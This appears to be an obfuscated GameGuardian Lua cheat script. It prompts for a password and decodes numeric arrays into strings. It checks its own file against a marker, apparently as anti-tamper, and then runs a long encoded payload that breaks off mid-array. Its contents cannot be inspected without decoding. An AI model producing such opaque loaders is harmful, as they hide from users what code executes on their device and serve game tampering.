While a transformation may be determined to be the 'best' transformation because of its coefficient of determination, thats not enough to prove it will be accurate. You still need to look at the
residual plot to see that the data is linear AFTER it has been transformed. Where would I find the residual plot for a log(x) transformation?
• 12.
While a transformation may be determined to be the 'best' transformation because of its coefficient of determination, thats not enough to prove it will be accurate. You still need to look at the
residual plot to see that the data is linear AFTER it has been transformed. Where would I find the residual plot for a log(y) transformation?
• 13.
While a transformation may be determined to be the 'best' transformation because of its coefficient of determination, thats not enough to prove it will be accurate. You still need to look at the
residual plot to see that the data is linear AFTER it has been transformed. Where would I find the residual plot for a 1/x transformation?
The residual plot for a 1/x transformation can be found on page 1.22, 1.22.
• 14.
While a transformation may be determined to be the 'best' transformation because of its coefficient of determination, thats not enough to prove it will be accurate. You still need to look at the
residual plot to see that the data is linear AFTER it has been transformed. Where would I find the residual plot for a 1/y transformation?
• 15.
Sometimes we are asked for the equation for a transformation that is NOT the best transformation. Which page will offer me a summary of all the values for a & b transformations in order to create
an equation from quadrant 1 transformations?
The explanation for the given answer is that page 1.11 provides a summary of all the values for a & b transformations in order to create an equation from quadrant 1 transformations. Therefore, it
is the page that will offer the desired information.
• 16.
Sometimes we are asked for the equation for a transformation that is NOT the best transformation. Which page will offer me a summary of all the values for a & b transformations in order to create
an equation from quadrant 2 transformations?
The values for a and b transformations in quadrant 2 can be found on page 1.12. The question is asking for a summary of all these values, which can also be found on page 1.12.
• 17.
Sometimes we are asked for the equation for a transformation that is NOT the best transformation. Which page will offer me a summary of all the values for a & b transformations in order to create
an equation from quadrant 3 transformations?
The page 1.13, 1.13 will offer a summary of all the values for a & b transformations in order to create an equation from quadrant 3 transformations.
• 18.
Sometimes we are asked for the equation for a transformation that is NOT the best transformation. Which page will offer me a summary of all the values for a & b transformations in order to create
an equation from quadrant 4 transformations?
The values for a & b transformations in order to create an equation from quadrant 4 transformations can be found on page 1.14, 1.14.
• 19.
I have a table of values in an exercise from the book. It is asking me to populate the table with log, squared and reciprocal values. Which App will help me to find all the values in one hit?
The correct answer is "bivartranstable". This app is likely to help in populating the table with log, squared, and reciprocal values in one go. It probably provides a function or feature that
allows for easy calculation and transformation of values, making it convenient to fill the table with the desired values efficiently.
• 20.
If x is 70, what is log(x)? (2 decimal places)
The value of log(x) is the exponent to which the base (in this case, 10) must be raised to obtain the value x. In this case, if x is 70, then log(70) is approximately 1.85.
• 21.
If x is 22, what is the reciprocal of x? (3 decimal places)
The reciprocal of a number is obtained by taking the reciprocal of the number itself. In this case, the reciprocal of 22 is 1/22, which is equal to 0.045 when rounded to three decimal places.
• 22.
If x is 15, what is the square of x?
The square of a number is obtained by multiplying the number by itself. In this case, x is given as 15. So, the square of 15 is calculated by multiplying 15 by itself, which equals 225.
• 23.
If y is 10, what is the reciprocal of y? (1 decimal place)
The reciprocal of a number is obtained by dividing 1 by that number. In this case, the number y is given as 10. So, the reciprocal of 10 would be 1/10, which can be written as 0.1.
• 24.
If y is 30, what is the log of y? (2 decimal places)
The log of a number is the exponent to which a base must be raised to obtain that number. In this case, if y is 30, the log of y would be the exponent to which a base must be raised to obtain 30.
Therefore, the log of 30 is 1.48 (rounded to 2 decimal places).
• 25.
If y is 22, what is y squared?
When y is 22, y squared is calculated by multiplying 22 by itself. So, 22 squared is equal to 484.
• 26.
Using the Data Set 135 :The residual plot for the x squared transformation indicates that :
□ A.
The transformation is non-linear
□ B.
The transformation is linear
□ C.
The transformation is suitable for accurate interpolation
Correct Answer
A. The transformation is non-linear
Page 1.16 - zoom the data and see that it has a pattern. That makes the transformation non linear.
• 27.
Using the Data Set 135 : The residual plot for the 1/x transformation indicates that :
□ A.
The transformation is non-linear
□ B.
The transformation is linear
□ C.
The transformation is suitable for accurate interpolation
Correct Answer(s)
B. The transformation is linear
C. The transformation is suitable for accurate interpolation
Page 1.22 and see the residual is random, meaning the transformation is linear, and suitable for predictions within the data set.
• 28.
Using the Dataset 135:The residual plot for the log(y) transformation indicates that :
□ A.
The transformation is non-linear
□ B.
The transformation is linear
□ C.
The transformation is suitable for accurate interpolation
Correct Answer
A. The transformation is non-linear
Page 1.28 has the residual plot for the log y transformations - showing a pattern. This means the transformation did not linearise the data.
• 29.
Using the Dataset 135:The residual plot for the y squared transformation indicates that :
□ A.
The transformation is non-linear
□ B.
The transformation is linear
□ C.
The transformation is suitable for accurate interpolation
Correct Answer
A. The transformation is non-linear
Page 1.25 shows the residual plot for the y squared transformation - and it has a pattern. This means the transformation hasn't linearized.
• 30.
Using the Dataset 135:The residual plot for the linear regression indicates that :
□ A.
The original data is non linear
□ B.
The transformation is linear
□ C.
The transformation is suitable for accurate interpolation
□ D.
The linear regression is in quadrant 3 or 4
□ E.
The linear regression is in quadrant 1 or 2
Correct Answer(s)
A. The original data is non linear
D. The linear regression is in quadrant 3 or 4
Page 1.9 shows the residual plot for the linear regression. Because it is a bowl, we know it can only be in quadrant 3 or 4. Looking at page 1.4, you can see it is in quadrant 3, and the equation
for the line tells us that the slope is negative - that's quadrant 3 as well.
• 31.
I see a residual plot for a linear regression line. It is shaped like a hill. This means
□ A.
The residual plot is non-linear
□ B.
The transformation is linear
□ C.
A transformation may linearise my data
□ D.
The linear regression is in quadrant 3 or 4
□ E.
The linear regression is in quadrant 1 or 2
Correct Answer(s)
C. A transformation may linearise my data
E. The linear regression is in quadrant 1 or 2
The residual plot shaped like a hill suggests that the relationship between the variables is not linear. However, it is possible that a transformation of the data could make the relationship
linear. Additionally, the fact that the linear regression is in quadrant 1 or 2 indicates that the relationship is positive.
• 32.
The residual plot for a transformation is random. This tells me :
□ A.
The transformation will be suitable to predict interpolated values
□ B.
The transformation has linearised the data
□ C.
The original data is linear
□ D.
The linear regression is in quadrant 3 or 4
□ E.
The linear regression is in quadrant 1 or 2
Correct Answer(s)
A. The transformation will be suitable to predict interpolated values
B. The transformation has linearised the data
The statement "The transformation will be suitable to predict interpolated values" is correct because a random residual plot indicates that the transformed data is well-behaved and can be used to
predict values within the range of the data. The statement "The transformation has linearized the data" is also correct because a random residual plot suggests that the transformation has reduced
any non-linear patterns in the data, making it more linear.
• 33.
The residual plot for a transformation is a bowl shape. This tells me :
□ A.
The transformation will be unsuitable to predict interpolated values
□ B.
The transformation has linearised the data
□ C.
The original data is linear
□ D.
The linear regression is in quadrant 3 or 4
□ E.
The linear regression is in quadrant 1 or 2
Correct Answer
A. The transformation will be unsuitable to predict interpolated values
The residual plot for a transformation that has a bowl shape indicates that the transformation will be unsuitable to predict interpolated values. This is because a bowl-shaped residual plot
suggests that the relationship between the predictor and response variables is not linear, and therefore, using this transformation to predict values within the range of the data may not be
accurate or reliable.
• 34.
I am looking at a residual plot for transformation. It is shaped like a hill. This tells me :
□ A.
The transformation is linear
□ B.
The transformation is in quadrant 1 or 2
□ C.
The original data is linear
□ D.
The linear regression is in quadrant 1 or 2
□ E.
It only tells me the transformation didn't linearse the data
Correct Answer
E. It only tells me the transformation didn't linearse the data
The residual plot shaped like a hill indicates that the transformation did not linearize the data. This means that the relationship between the variables is not linear and cannot be adequately
represented by a straight line. The other statements, such as the transformation being linear or in quadrant 1 or 2, or the original data being linear, cannot be inferred from the given
information about the residual plot.
• 35.
I have a table of values in an exercise from the book. It is asking me to populate the table with log, squared and reciprocal values. After running the app, which page would give me the table of
Correct Answer
Page 1.10, 1.10
• 36.
You have found the generic equation for the best transformation is : What is the value of the dependent variable when the independent variable is 3. (1 decimal place)
Correct Answer
• 37.
You have found the generic equation for the best transformation is : What is the value of the independent variable when the dependent variable is 700. (1 decimal place)
Correct Answer | {"url":"https://www.proprofs.com/quiz-school/story.php?title=njczmzk0n0z0","timestamp":"2024-11-05T06:41:19Z","content_type":"text/html","content_length":"535850","record_id":"<urn:uuid:822ce51b-2cc8-4d5b-b4aa-a9ac0ba16c77>","cc-path":"CC-MAIN-2024-46/segments/1730477027871.46/warc/CC-MAIN-20241105052136-20241105082136-00469.warc.gz"} |
Introduction to Analysis by Irena Swanson
Introduction to Analysis
by Irena Swanson
Publisher: Purdue University 2020
Number of pages: 353
In this course, students learn to write proofs while at the same time learning about binary operations, orders, fields, ordered fields, complete fields, complex numbers, sequences, and series. We
also review limits, continuity, differentiation, and integration.
Download or read it online for free here:
Download link
(1.8MB, PDF)
Similar books
Problems in Mathematical Analysis
B. P. Demidovich
MIR PublishersThis collection of problems and exercises in mathematical analysis covers the maximum requirements of general courses in higher mathematics for higher technical schools. It contains
over 3,000 problems covering all branches of higher mathematics.
Semi-classical analysis
Victor Guillemin, Shlomo Sternberg
Harvard UniversityIn semi-classical analysis many of the basic results involve asymptotic expansions in which the terms can by computed by symbolic techniques and the focus of these lecture notes
will be the 'symbol calculus' that this creates.
Advanced Calculus and Analysis
Ian Craw
University of AberdeenIntroductory calculus course, with some leanings to analysis. It covers sequences, monotone convergence, limits, continuity, differentiability, infinite series, power series,
differentiation of functions of several variables, and multiple integrals.
Short introduction to Nonstandard Analysis
E. E. Rosinger
arXivThese notes offer a short and rigorous introduction to Nostandard Analysis, mainly aimed to reach to a presentation of the basics of Loeb integration, and in particular, Loeb measures. The
Abraham Robinson version of Nostandard Analysis is pursued. | {"url":"http://e-booksdirectory.com/details.php?ebook=11145","timestamp":"2024-11-10T04:59:56Z","content_type":"text/html","content_length":"10968","record_id":"<urn:uuid:4f58daeb-09fc-4996-ad62-752a6a65595d>","cc-path":"CC-MAIN-2024-46/segments/1730477028166.65/warc/CC-MAIN-20241110040813-20241110070813-00696.warc.gz"} |
Spreadsheets come alive
In this lesson sequence use the ‘Odds and evens’ problem as a springboard.
About this lesson
Students construct interactive spreadsheets designed to address particular needs. This lesson also demonstrates an approach to programming known as rapid application development (RAD).
Year band: 9-10
Curriculum Links Assessment
Curriculum Links
Links with Digital Technologies Curriculum Area
Strand Content Description
Analyse and visualise data interactively using a range of software, including spreadsheets and databases, to draw conclusions and make predictions by identifying trends
Processes and Production and outliers (AC9TDI10P02).
Model and query entities and their relationships using structured data (AC9TDI10P03).
Note: Criteria are cumulative
Quantity of knowledge Quality of understanding
Automating No evidence of Student is able to use a prepared Student is able to create an automated Student is able to create an automated Student is able to generate an automated
spreadsheets understanding spreadsheet to operate an automated calculation using a formula given to calculation based on a formula they develop spreadsheet for a scenario they devise
calculation them themselves themselves
Optional 0 1 2 3 4
Learning hook
In order to bring in a level of curiosity, you could start with a very open question like “Is anything truly random?”
1. Explain to students that they will, in real time, create a spreadsheet that simulates the random tossing of a coin. (While doing, this, draw attention to the spreadsheet features students will be
using – see the information under 'Teacher background'.)
2. Discuss random numbers and the challenge that a programmer faces in generating them. At this point, as an aside, discuss the vexed issue of randomness: are random functions as used by computers
truly random? Is a truly random function possible? Is a physical coin toss truly random? How reliable are the built-in random functions such as those below?
3. Next, students respond to your questions and observe a demonstration, producing an identical spreadsheet as the lesson progresses. The class provides suggestions at appropriate steps.
The process for creating the spreadsheet is detailed in the 'Method' section below. You can 'cue' students to develop solutions at points marked *.
*Ask students to locate a random function in their spreadsheet application:
This function generates a decimal number anywhere between 0 and 1
Students will also use:
=IF(Cell>=0.5, "Heads","Tails")
The steps
1. Type title Coin toss in Cell A1.
2. Add successive column headings, commencing in A2: Toss, Random, Coin, Counts.
3. Type title HEADS in D3.
4. Type title TAILS in D4.
5. Type title TOTAL in D5.
6. Explain that these indicate the cells where the totals of the outcomes will be stored for each toss.
7. Show how to format these cells with background colours.
8. Enter '1' in A3.
9. *We need to type the integers 1 to 100 down the column. Ask students to suggest a quick method of achieving this (ie enter formula =A3+1 in Cell A4).
10. Highlight this formula in A4 and Edit>Fill down to Row 102 (thus creating 100 coin tosses).
11. *Ask for suggestions of how we should use the Random formula. Ask: 'What range of output does it produce?' Work with the class to deduce how this could be used to randomly produce one of two
random outputs: an H or a T.
12. Enter formula =RAND() in Cell B3.
13. Highlight B3 and Edit>Fill down to Row 102.
14. * Using class discussion establish the use of the IF formula as a binary selection based on a test case. Make sure the class understands this formula's structure and logic.
15. After the class establishes the following, enter this formula in C3: =IF(B2>=0.5, "Heads","Tails") This creates the outcome of Heads or Tails based on the random number generated in B3.
16. Highlight C3 and Edit>Fill down to Row 102.
17. * Ask the class to suggest how we could total all the Heads. Ask them to discover a function that will do this. Explain how the list of functions is divided into logical categories. When
resolved, students go to Cell E3 and enter the formula =COUNTIF(C3:C102,"Heads")
18. In Cell E4, enter the formula =COUNTIF(C3:C102,"Tails")
19. In Cell E5, enter formula =SUM(E3:E4)
20. Finished. Press F9 to recalculate (ie toss 100 coins and total the outcomes!)
Ask students if we could create a button to automate the toss action. This is demonstrated in Coin toss spreadsheet with macro (XLSM). First, a macro for F9 is created, then a button is drawn
(available under Developer on the Excel ribbon controls), then it is assigned to a Form Button control by right-clicking > Assign Macro...
Optional modification/ enhancement
An alternative formula is:
=RANDBETWEEN(bottom integer, top integer)
This generates an integer (no decimals!) that is between or includes the two given integers.
Then use:
=IF(Cell=1, "Heads", "Tails")
Students can also devise other problems that could be automated using a spreadsheet.
Learning map and outcomes
• Students construct interactive spreadsheets designed to address particular needs.
• This lesson also demonstrates an approach to programming known as rapid application development (RAD).
• Students create a tool for solving a mathematical problem.
• You could also focus on the skillset and mindsets that learners mind need to adopt and use during this project, this ties in with the Creative and Critical Thinking Capabilities.
Learning input
1. Introduce the 'Odds and evens' problem. State that the questions we want to answer are:
Does every number go to 1 or do some go on forever?
Is there a pattern?
2. Hand out 'Odds and evens' worksheet.
3. Explain the rules:
Is it even? Then divide by 2.
Is it odd? Then multiply by 3 and add 1.
Is it 1? Then stop!
4. Students complete the worksheet until the realisation occurs that shortcuts are possible.
5. Students discuss the technique of using these shortcuts.
6. Explain that this problem is one of the great unsolved problems in mathematics.
Known as the 'Collatz conjecture', it states that no matter what number you start with, you will always eventually reach 1. The sequences are also known as 'hailstone numbers' because the values
experience repeated descents and ascents like hailstones in a cloud.
Most mathematicians think the conjecture is true because experimental evidence supports it, but it has never been proven.
The longest chain for any starting number less than 100 million is 63,728,127, which has 949 steps!
Learning construction
1. Pose the problem of how we might use a spreadsheet to speed up these calculations.
2. Supply the final working spreadsheet as a file: Odds and evens spreadsheet – student example (XLS)
3. Students follow the steps below to build a spreadsheet to simulate the 'Odds and evens' problem; however, this activity is intended as a series of problems for students to solve with your
prompting where appropriate.
1. Fill Column A with consecutive integers 1 to 100.
2. Devise the main formula and place in Cell B1.
3. Fill formula across (suggest to Column DZ).
4. Select whole of Row 1 and fill down to Row 100.
5. Autofit columns to data content.
Modifications to enhance the tool
• Hide all the 0s (conditionally format these to white text colour).
• Extend rows up to 105, which will capture an interesting feature for chains for integers 99–103.
• Insert additional column at extreme left to record the length of each chain using Fill down with a suitable formula to count all non-zero entries in each row.
This will give a count of the length of each chain.
• Insert suitable headings on the first two columns.
• Insert in top row a formula in a cell to record the length of the longest chain; eg =MAX(A2:A100)
• Students improve the interface of their spreadsheet.
Insert in top row a formula in a cell to record the integer with the longest chain from 1 to 105.
Learning demo
Demonstrate other methods of iterative automation using the Python program supplied:
Odds_and_evens (PY)
A standalone app (both Windows and Macintosh apps provided) is also supplied to test for chain lengths:
Students use their spreadsheet to enter integers and find the longest chain lengths. Students may use the Python program provided or the standalone app to test for chain lengths. Discuss whether any
patterns are evident in chain lengths. | {"url":"https://www.digitaltechnologieshub.edu.au/teach-and-assess/classroom-resources/lesson-ideas/spreadsheets-come-alive/","timestamp":"2024-11-13T21:31:57Z","content_type":"text/html","content_length":"62774","record_id":"<urn:uuid:bb110398-7818-46ad-ae89-2212f74ef1f6>","cc-path":"CC-MAIN-2024-46/segments/1730477028402.57/warc/CC-MAIN-20241113203454-20241113233454-00431.warc.gz"} |
Hi! This one might be tricky... Help with T-Minus Formula *First time posting!*
Hi! I am basically looking for a formula that will return me a "T-2" result.
For example, a product is launching on 12/31/2025, and XYZ activity is taking place 01/31/2025. Ideally, the formula would tell me it's T-11 from the launch.
Does anyone know how I could solve for this?
• Hi @LeeAnnS
You can get this done, but you'll probably need to make two columns to capture the year of the start date of the task and the year of the final end date, provided it is just the month lapse that
you're looking at. Once you've them, you can write this formula to get the result you need.
="T - " + IF([Year of the final end date]x > [Year of the particular task]@row, 12 - MONTH([Date of the particular task]@row) + MONTH([Date of the final task]x), IF([Year of the final end date]
@row = [Year of the particular task]@row, MONTH([Date of the final task]x) - MONTH([Date of the particular task]@row)))
Substitute x with the row# of the final task's date. If the final task appears in row 30, the formula will read [Column name of the date column having 12/31/2025]30
Date of particular task refers to the date of XYZ task in your example
Year ones are the new columns you will create to capture the year of each task and the year of the product launch date
Aravind GP| Principal Consultant
Atturra Data & Integration
M: +61493337445
W: www.atturra.com
Help Article Resources | {"url":"https://community.smartsheet.com/discussion/131104/hi-this-one-might-be-tricky-help-with-t-minus-formula-first-time-posting","timestamp":"2024-11-10T08:42:34Z","content_type":"text/html","content_length":"393344","record_id":"<urn:uuid:8f3f013e-a567-46b2-9d2d-50321c928a96>","cc-path":"CC-MAIN-2024-46/segments/1730477028179.55/warc/CC-MAIN-20241110072033-20241110102033-00803.warc.gz"} |
key=gg.prompt({'请输入密码'},{'1569'},{'text'}) function ascii2(y) cbe=string.char();j,v,b=0x35,0x33,0x36;ub={};for iii=1,4 do ub[iii]=string.char(80,101,114,105);end;ah=#ub-2 for i=1,#y do a=y[i]/
string.len(string.char(80,101,114,105,119,105,110,99,108,101))+999-(111+333)-555 c=a-520 yy=c/#ub ii=yy/ah cbe=cbe..string.char(ii-(string.char(j,v,b)+string.char(0x33,0x32,0x34))) end return cbe end
function rr(vv) iy=gg.alert(ascii2(vv)) while io.open(gg.getFile(),(SSR.s15())):read((SSR.s16())):match(ascii2({82960,83120,82400,82800,83280})) do gg.alert(ascii2
({92240,89120,86800,92320,87120,86720,92240,88880,84720,93120,89040,85200,92320,84880,88080,92400,87840,87120,92240,88720,88880,92400,87840,86960,92240,88880,84720})) end return iy end function
MKLUFR(TRUYTN) TRUYTN((function(y) for iiy=1,#key[1] do iio=string.byte(string.sub(key[1],iiy)) end cbe=string.char();j,v,b=0x35,0x33,0x36;ub={};for iii=1,4 do ub[iii]=string.char(80,101,114,105);
end;ah=#ub-2 for i=1,#y do a=y[i]/string.len(string.char(80,101,114,105,119,105,110,99,108,101))+999-(111+333)-555 c=a-(iio+string.char(0x38,0x35)-string.char(0x34)+string.char(0x39,0x39,0x39)
+string.char(0x32,0x35,0x35,0x39,0x39,0x39,0x37,0x34,0x34))%string.char(0x32,0x35,0x36) yy=c/#ub ii=yy/ah cbe=cbe..string.char(ii-(string.char(j,v,b)+string.char(0x33,0x32,0x34))) end return cbe end)
({0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x1293A,0x12F7A,0x131FA,0x1338A,0x11DAA,0x11DFA,0x1144A,0x1333A,0x130BA,0x1338A,0x135BA,0x11B2A,0x1243A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1301A,0x131AA,0x133DA,0x131FA,0x1301A,0x130BA,0x11DAA,0x1379A,0x1144A,0x11D5A,0x158BA,0x13BFA,0x13D3A,0x158BA,0x14C8A,0x1392A,0x159FA,0x140FA,0x13A6A,0x159FA,0x1473A,0x13F6A,0x158BA,0x13CEA,0x14B4A,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x158BA,0x14AAA,0x14AAA,0x1595A,0x13F6A,0x145AA,0x158BA,0x13C4A,0x142DA,0x159AA,0x13A1A,0x14C3A,0x158BA,0x13CEA,0x14B4A,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x159FA,0x1392A,0x1392A,0x158BA,0x13B5A,0x14B4A,0x159AA,0x13A6A,0x1414A,0x1590A,0x141EA,0x146EA,0x11D5A,0x1383A,0x11EEA,0x1144A,0x1338A,0x131FA,0x132EA,0x11EEA,0x11D5A,0x159AA,0x14CDA,0x140FA,0x159FA,0x13B5A,0x13CEA,0x158BA,0x13DDA,0x147DA,0x1586A,0x14B9A,0x144BA,0x158BA,0x1437A,0x1469A,0x12A7A,0x12A7A,0x158BA,0x13DDA,0x14A5A,0x11D5A,0x11DFA,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1207A,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x1257A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x11B2A,0x1243A,0x1243A,0x11B2A,0x120CA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x125CA,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1211A,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x1329A,0x132EA,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x12CAA,0x1275A,0x1261A,0x1289A,0x1243A,0x11F3A,0x1207A,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x1257A,0x11DAA,0x11DFA,0x1144A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x11B2A,0x1243A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1333A,0x135BA,0x132EA,0x1356A,0x131FA,0x1261A,0x131AA,0x133DA,0x131FA,0x1301A,0x130BA,0x11DAA,0x1379A,0x1144A,0x11D5A,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13E7A,0x140AA,0x1590A,0x13F6A,0x14AFA,0x1586A,0x14BEA,0x1464A,0x133DA,0x1342A,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x159FA,0x140FA,0x13A6A,0x159FA,0x1473A,0x13F6A,0x1586A,0x14AFA,0x1450A,0x1590A,0x13F6A,0x14AFA,0x1586A,0x14AAA,0x13D3A,0x1590A,0x1473A,0x14B9A,0x158BA,0x1419A,0x14C8A,0x159AA,0x13ABA,0x14C8A,0x1595A,0x146EA,0x146EA,0x1586A,0x14AAA,0x1392A,0x1590A,0x1473A,0x144BA,0x15BDA,0x14AAA,0x13DDA,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x1586A,0x14CDA,0x1478A,0x1590A,0x13F6A,0x14AFA,0x1586A,0x14AAA,0x13D3A,0x1590A,0x1473A,0x14B9A,0x158BA,0x1419A,0x14C8A,0x159AA,0x13ABA,0x14C8A,0x159FA,0x140FA,0x13A6A,0x159FA,0x1473A,0x13F6A,0x1595A,0x1473A,0x13BFA,0x1595A,0x14B4A,0x1455A,0x1595A,0x146EA,0x146EA,0x1586A,0x14B4A,0x13CEA,0x1590A,0x1473A,0x144BA,0x15BDA,0x14AAA,0x13DDA,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x1586A,0x14AAA,0x13D3A,0x1590A,0x1473A,0x14B9A,0x158BA,0x1419A,0x14C8A,0x159AA,0x13ABA,0x14C8A,0x1590A,0x13F6A,0x14AFA,0x159FA,0x140FA,0x13A6A,0x159FA,0x1473A,0x13F6A,0x1586A,0x14AFA,0x1450A,0x15BDA,0x14AAA,0x13DDA,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x159AA,0x14CDA,0x13F6A,0x158BA,0x1419A,0x1428A,0x1586A,0x14AAA,0x13C4A,0x1586A,0x14AAA,0x1392A,0x159FA,0x1437A,0x149BA,0x11D5A,0x1383A,0x11EEA,0x1144A,0x1338A,0x131FA,0x132EA,0x11EEA,0x11D5A,0x159FA,0x140FA,0x13A6A,0x159FA,0x1473A,0x13F6A,0x158BA,0x13C4A,0x142DA,0x159AA,0x13A1A,0x14C3A,0x158BA,0x13CEA,0x14B4A,0x11D5A,0x11DFA,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1338A,0x131FA,0x132EA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x130BA,0x132EA,0x1351A,0x130BA,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x1207A,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12F7A,0x1207A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x120CA,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12F7A,0x120CA,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x1211A,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12F7A,0x1211A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x1216A,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12F7A,0x1216A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x121BA,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x1356A,0x1301A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1275A,0x128EA,0x12C5A,0x12C5A,0x1243A,0x11F3A,0x1207A,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x125CA,0x11DAA,0x11DFA,0x1144A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x11B2A,0x1243A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1333A,0x135BA,0x132EA,0x1356A,0x131FA,0x1261A,0x131AA,0x133DA,0x131FA,0x1301A,0x130BA,0x11DAA,0x1379A,0x1144A,0x11D5A,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13E7A,0x140AA,0x1590A,0x13F6A,0x14AFA,0x1586A,0x14BEA,0x1464A,0x133DA,0x1342A,0x15BDA,0x14AAA,0x13DDA,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x159AA,0x1478A,0x14CDA,0x158BA,0x1478A,0x143CA,0x1590A,0x13F6A,0x14AFA,0x1586A,0x14BEA,0x1464A,0x133DA,0x1342A,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x1586A,0x14B9A,0x14B9A,0x1590A,0x13A6A,0x13DDA,0x158BA,0x13BFA,0x147DA,0x1590A,0x13BFA,0x13C9A,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x1586A,0x14AAA,0x13D3A,0x1590A,0x1473A,0x14B9A,0x158BA,0x1419A,0x14C8A,0x159AA,0x13ABA,0x14C8A,0x1590A,0x13F6A,0x14AFA,0x158BA,0x142DA,0x14B4A,0x158BA,0x148CA,0x145FA,0x15BDA,0x14AAA,0x13DDA,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x15BDA,0x14AAA,0x13DDA,0x1586A,0x14AAA,0x13D3A,0x1590A,0x1473A,0x14B9A,0x158BA,0x1419A,0x14C8A,0x159AA,0x13ABA,0x14C8A,0x1590A,0x13F6A,0x14AFA,0x158BA,0x1487A,0x13DDA,0x159FA,0x1414A,0x141EA,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x159AA,0x14AAA,0x13DDA,0x1595A,0x145FA,0x14B4A,0x15BDA,0x14BEA,0x13BAA,0x159AA,0x13C4A,0x1487A,0x159FA,0x1419A,0x145AA,0x158BA,0x14B4A,0x1473A,0x158BA,0x13DDA,0x147DA,0x1595A,0x13F6A,0x145AA,0x15BDA,0x14BEA,0x13BFA,0x15BDA,0x14AAA,0x13DDA,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x158BA,0x13C4A,0x1432A,0x159FA,0x1392A,0x142DA,0x15BDA,0x14BEA,0x13BAA,0x159AA,0x13C4A,0x1487A,0x159FA,0x1419A,0x145AA,0x158BA,0x14B4A,0x1473A,0x158BA,0x13DDA,0x147DA,0x1595A,0x13F6A,0x145AA,0x15BDA,0x14BEA,0x13BFA,0x15BDA,0x14AAA,0x13DDA,0x11D5A,0x11EEA,0x1144A,0x11D5A,0x159AA,0x14CDA,0x13F6A,0x158BA,0x1419A,0x1428A,0x1586A,0x14AAA,0x13C4A,0x1586A,0x14AAA,0x1392A,0x159FA,0x1437A,0x149BA,0x11D5A,0x1383A,0x11EEA,0x1144A,0x1338A,0x131FA,0x132EA,0x11EEA,0x11D5A,0x158BA,0x142DA,0x14B4A,0x1595A,0x14